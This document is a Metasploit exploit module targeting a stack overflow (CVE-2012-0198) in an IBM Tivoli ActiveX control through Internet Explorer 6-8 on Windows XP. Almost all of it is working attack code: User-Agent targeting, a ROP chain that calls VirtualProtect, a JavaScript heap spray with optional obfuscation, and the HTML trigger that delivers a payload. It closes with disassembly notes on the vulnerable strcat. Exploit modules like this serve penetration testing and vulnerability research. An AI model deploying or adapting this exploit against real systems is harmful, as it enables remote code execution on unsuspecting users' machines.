IBM Tivoli Provisioning Manager Express Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:os_name => OperatingSystems::WINDOWS,  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "8.0",  
:javascript => true,  
:rank => NormalRanking,  
:classid => "{84B74E82-3475-420E-9949-773B4FB91771}",  
:vuln_test => "RunAndUploadFile",  
})  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow",  
'Description' => %q{  
This module exploits a buffer overflow vulnerability in the  
Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning  
Manager Express for Software Distribution 4.1.1.  
  
The vulnerability is found in the "RunAndUploadFile" method  
where the "OtherFields" parameter with user controlled data  
is used to build a "Content-Dispoition" header and attach  
contents in a insecure way which allows to overflow a buffer  
in the stack.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Andrea Micalizzi aka rgod', # Vulnerability discovery  
'juan vazquez', # Metasploit module  
'sinn3r' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-0198' ],  
[ 'OSVDB', '79735' ],  
[ 'BID', '52252' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-040/' ]  
],  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# isig.dll 2.44.282.0  
[ 'Automatic', {} ],  
[  
'IE 6 on Windows XP SP3',  
{  
'Rop' => nil,  
'Offset' => 161, # length is strlen("submit") dependant  
'OffsetShell' => '0x800 - code.length',  
'ebp' => 0x09090909,  
'Ret' => 0x09090909  
}  
],  
[  
'IE 7 on Windows XP SP3',  
{  
'Rop' => nil,  
'Offset' => 161, # length is strlen("submit") dependant  
'OffsetShell' => '0x800 - code.length',  
'ebp' => 0x09090909,  
'Ret' => 0x09090909  
}  
],  
[  
'IE 8 on Windows XP SP3',  
{  
'Rop' => :jre,  
'Offset' => 161, # length is strlen("submit") dependant  
'OffsetShell' => '0x480',  
'ebp' => 0x09090920,  
'Ret' => 0x7c375a3d # stackpivot from msvcr71.dll # mov esp, ebp # pop ebp # ret  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "Mar 01 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])  
], self.class)  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/  
return targets[1] #IE 6 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/  
return targets[2] #IE 7 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/  
return targets[3] #IE 8 on Windows XP SP3  
else  
return nil  
end  
end  
  
def get_payload(t, cli)  
  
if t['Rop'].nil?  
code = ""  
else  
#Fix the stack to avoid anything busted  
code = "\x81\xC4\x54\xF2\xFF\xFF"  
end  
code << payload.encoded  
  
# No rop. Just return the payload.  
return code if t['Rop'].nil?  
  
# ROP chain generated by mona.py - See corelan.be  
case t['Rop']  
when :jre  
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using JRE ROP")  
exec_size = 0xffffffff - code.length + 1  
rop =  
[  
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN  
exec_size, # Value to NEG  
0x7c347f98, # RETN (ROP NOP)  
0x7c3415a2, # JMP [EAX]  
0xffffffff,  
0x7c376402, # skip 4 bytes  
0x7c351e05, # NEG EAX # RETN  
0x7c345255, # INC EBX # FPATAN # RETN  
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN  
0x7c344f87, # POP EDX # RETN  
0xffffffc0, # Value to negate, will become 0x00000040  
0x7c351eb1, # NEG EDX # RETN  
0x7c34d201, # POP ECX # RETN  
0x7c38b001, # &Writable location  
0x7c347f97, # POP EAX # RETN  
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]  
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN  
0x7c345c30, # ptr to 'push esp # ret '  
].pack("V*")  
end  
  
code = rop + code  
return code  
end  
  
def on_request_uri(cli, request)  
  
agent = request.headers['User-Agent']  
my_target = get_target(agent)  
  
# Avoid the attack if the victim doesn't have the same setup we're targeting  
if my_target.nil?  
print_error("#{cli.peerhost.ljust(16)} #{self.shortname} Browser not supported: #{agent.to_s}")  
send_not_found(cli)  
return  
end  
  
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Client requesting: #{request.uri}")  
  
p = get_payload(my_target, cli)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))  
js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch))  
  
js_spray = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['OffsetShell']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
heap_obj.gc();  
for (var i=0; i < 0x1A0; i++) {  
heap_obj.alloc(block);  
}  
  
JS  
  
js_spray = heaplib(js_spray, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)  
js_spray.obfuscate  
end  
  
bof = rand_text_alpha(my_target['Offset'])  
bof << [my_target['ebp']].pack("V") # ebp  
bof << [my_target.ret].pack("V") # eip  
  
html = <<-HTML  
<html>  
<head>  
<script>  
#{js_spray}  
</script>  
</head>  
<object classid='clsid:84B74E82-3475-420E-9949-773B4FB91771' id='isig'></object>  
<script>  
var url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{datastore['SRVPORT']}/tpmx/uploadEG2.do";  
var fields = "submit:#{bof};FROM_EMAIL:true;userKey:2";  
var flags = "-level5";  
msg = isig.RunAndUploadFile(url, fields, flags);  
</script>  
</html>  
HTML  
  
html = html.gsub(/^\t\t/, '')  
  
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending html")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
end  
  
=begin  
  
* Vulnerability notes  
  
The Dangerous strcat allows to attach user-controlled contents after  
the Content-disposition header:  
  
.text:100040B0 Src = byte ptr -100h  
...  
.text:100040DD push [ebp+Source] ; Source => User controlled via "fields" param  
.text:100040E0 lea eax, [ebp+Src]  
.text:100040E6 push eax ; Dest => Local variable where the Content-disposition header  
; has been stored  
.text:100040E7 call _strcat ; strcat used by this module to overflow  
  
Function isn't protected with stack cookies so get  
the control flow is easy by overwriting the saved EIP  
on the stack.  
  
=end  
`